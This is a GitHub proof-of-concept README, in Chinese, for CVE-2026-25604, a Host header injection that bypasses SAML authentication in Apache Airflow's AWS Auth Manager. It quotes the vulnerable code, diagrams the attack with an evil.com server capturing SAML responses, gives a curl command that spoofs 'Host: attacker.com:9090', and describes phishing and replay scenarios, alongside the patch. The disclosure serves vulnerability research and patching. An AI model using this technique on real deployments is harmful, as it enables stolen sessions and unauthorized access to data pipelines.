John-Jung/CVE-2026-25604-PoC
GitHub: John-Jung/CVE-2026-25604-PoC
针对CVE-2026-25604的概念验证项目,演示了Apache Airflow AWS Auth Manager中因Host头未校验导致的SAML认证绕过漏洞的完整攻击链。
Stars: 0 | Forks: 0
# CVE-2026-25604 PoC
**导致 Apache Airflow 的 AWS Auth Manager 中 SAML 身份验证绕过的 Host 头注入**
攻击者可以向 SAML 登录流程中注入恶意的 `Host` 头,导致 Assertion Consumer Service (ACS) URL 指向攻击者控制的服务器。这允许攻击者**捕获有效的 SAML 响应**,并**通过重放它们来获取对受害者 Airflow 实例的未经授权访问** —— 或者在具有不同访问控制的不同 Airflow 实例之间重用 token。
## 受影响版本
| 包 | 受影响 | 已修复 |
|---------|----------|-------|
| `apache-airflow-providers-amazon` | 8.0.0 – 9.21.x | **9.22.0** |
### 官方描述
### 参考
| 来源 | 链接 |
|--------|------|
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-25604 |
| 修复 PR | https://github.com/apache/airflow/pull/61368 |
| 修复 Commit | [`1a86aec`](https://github.com/apache/airflow/commit/1a86aec01d827ba8caf41b645db56663a9a61850) |
## 漏洞概述
Apache Airflow 的 AWS Auth Manager 通过 AWS IAM Identity Center 使用 SAML 2.0 进行身份验证。在构建 SAML 身份验证请求时,`_prepare_flask_request()` 方法直接从传入的 HTTP 请求中读取 `Host` 头,以构建 ACS 回调 URL:
```
# aws_auth_manager.py 中的 Vulnerable code
def _prepare_flask_request(req):
host = req.headers.get("Host", req.host) # <-- Attacker-controlled
if ":" in host:
hostname, port = host.rsplit(":", 1)
else:
hostname = host
port = "443" if req.scheme == "https" else "80"
return {
"http_host": hostname, # Used to build ACS URL
"server_port": port,
...
}
```
生成的 `http_host` 和 `server_port` 用于构建 SAML `AssertionConsumerService` URL。由于 Identity Provider (IdP) 信任此 URL,它会将经过身份验证的用户(连同已签名的 SAML 响应)重定向到 `Host` 头所指向的任何位置。
### 攻击流程
```
┌──────────┐ ┌──────────────┐ ┌─────────────┐
│ Attacker │ │ Victim │ │ AWS IAM │
│ │ │ Airflow │ │ Identity │
│ │ │ Instance │ │ Center │
└────┬─────┘ └──────┬───────┘ └──────┬──────┘
│ │ │
│ 1. GET /login │ │
│ Host: evil.com:8080 │ │
│─────────────────────>│ │
│ │ │
│ │ 2. SAML AuthnRequest │
│ │ ACS URL = │
│ │ evil.com:8080/ │
│ │ login_callback │
│ │───────────────────────>│
│ │ │
│ │ 3. User authenticates │
│ │ at IdP login page │
│ │ │
│ 4. IdP redirects │ │
│ SAMLResponse to │<───────────────────────│
│ evil.com:8080 │ │
│<─────────────────────│ │
│ │ │
│ 5. Attacker captures │ │
│ valid SAMLResponse│ │
│ │ │
│ 6. Replay to victim │ │
│ POST /login_callback │
│ with captured │ │
│ SAMLResponse │ │
│─────────────────────>│ │
│ │ │
│ 7. Authenticated! │ │
│<─────────────────────│ │
└──────────────────────┴────────────────────────┘
```
### 两种利用场景
**场景 A —— 通过钓鱼窃取 Token:** 攻击者向合法用户发送精心制作的登录链接(通过反向代理伪造 `Host` 头)。在用户通过 IAM Identity Center 进行身份验证后,SAML 响应被重定向到攻击者的服务器。攻击者将其重放给真实的 Airflow 实例。
**场景 B —— 跨实例 Token 重用:** 在多租户或多实例 Airflow 环境中,来自实例 A 的有效 SAML 响应可以被重放到实例 B。由于从未针对实际实例 URL 验证其来源,因此实例 B 上不同的访问控制将被绕过。
## 仓库结构
```
CVE-2026-25604-PoC/
├── README.md # This file
└── mock_airflow.py # Mock vulnerable Airflow server
```
## 前置条件
- Python 3.8+
- AWS IAM Identity Center(原 AWS SSO)且已配置 SAML 2.0 应用程序
- 可以访问 IAM Identity Center SAML 元数据 URL 的 EC2 实例或本地环境
### 依赖
```
pip install flask python3-saml
```
## 复现步骤
### 1. 配置 AWS IAM Identity Center
按照 [Airflow AWS Auth Manager 文档](https://airflow.apache.org/docs/apache-airflow-providers-amazon/stable/auth-manager/setup/identity-center.html)在 AWS IAM Identity Center 中设置 SAML 2.0 应用程序:
- **应用程序 ACS URL:** `http://:/login_callback`
- **应用程序 SAML audience:** `aws-auth-manager-saml-client`
- 从 Identity Center 控制台复制 **SAML 元数据 URL**。
### 2. 启动模拟的易受攻击 Airflow 服务器
```
python mock_airflow.py [PORT]
```
例如:
```
python mock_airflow.py https://portal.sso.us-east-1.amazonaws.com/saml/metadata/XXXX 8080
```
### 3. 发送带有伪造 Host 头的登录请求
在单独的终端中,使用被篡改的 `Host` 头发起 SAML 登录:
```
curl -v -H "Host: attacker.com:9090" http://127.0.0.1:8080/login
```
### 4. 观察重定向
服务器以 `302 Redirect` 响应到 AWS IAM Identity Center 登录页面。检查 SAML `AuthnRequest` —— `AssertionConsumerService` URL 将指向 `attacker.com:9090/login_callback`,而不是合法服务器。
### 5. 预期输出
在模拟 Airflow 服务器控制台上:
```
[LOGIN] Host header: attacker.com:9090
[DEBUG] http_host=attacker.com, server_port=9090
```
SAML AuthnRequest 现在指示 IdP 将已认证的 SAML 响应发送到 `attacker.com:9090`,从而为攻击者提供了可用于重放的有效 token。
## 易受攻击代码
`airflow/providers/amazon/aws/auth_manager/aws_auth_manager.py` —— `_prepare_flask_request()` 方法:
```
host = request.headers.get("Host", request.host)
```
此行信任客户端提供的 `Host` 头,而没有根据配置的 Airflow base URL (`AIRFLOW__API__BASE_URL`) 对其进行验证。
## 补丁
此修复([PR #61368](https://github.com/apache/airflow/pull/61368),于 2026 年 2 月 3 日合并)将请求派生的主机替换为 Airflow 配置中的值:
```
- host = request.headers.get("Host", request.host)
+ host = conf.get("api", "base_url")
```
这确保了 ACS URL 始终与管理员配置的实际实例 URL 匹配,而不管客户端发送的 `Host` 头是什么。
## 影响
- **机密性:** 攻击者获得了对 Airflow 的经过身份验证的访问权限,其中可能包含敏感的 DAG 配置、带有凭据的连接以及数据流水线元数据。
- **完整性:** 未经授权的用户可以触发、修改或删除 DAG,从而可能破坏关键的数据工作流。
- **跨实例提权:** 在多租户环境中,SAML token 可以在具有不同 RBAC 配置的实例之间重用。
## 贡献者
- **发现者:** Sungwuk Jung
- **修复者:** Vincent Beck ([@vincbeck](https://github.com/vincbeck)),Apache Airflow 安全团队
## 免责声明
此概念验证仅用于**教育和授权安全测试目的**。请负责任地使用,并且仅在您拥有或获得明确测试许可的系统上使用。
标签:ACS URL, Apache Airflow, apache-airflow-providers-amazon, AWS Auth Manager, CISA项目, CVE-2026-25604, Host Header Injection, IAM Identity Center, PoC, SAML响应重放, SAML认证绕过, Web安全, 主机头注入, 安全漏洞, 断言消费者服务, 暴力破解, 概念验证, 蓝队分析, 认证缺陷, 身份验证绕过, 逆向工具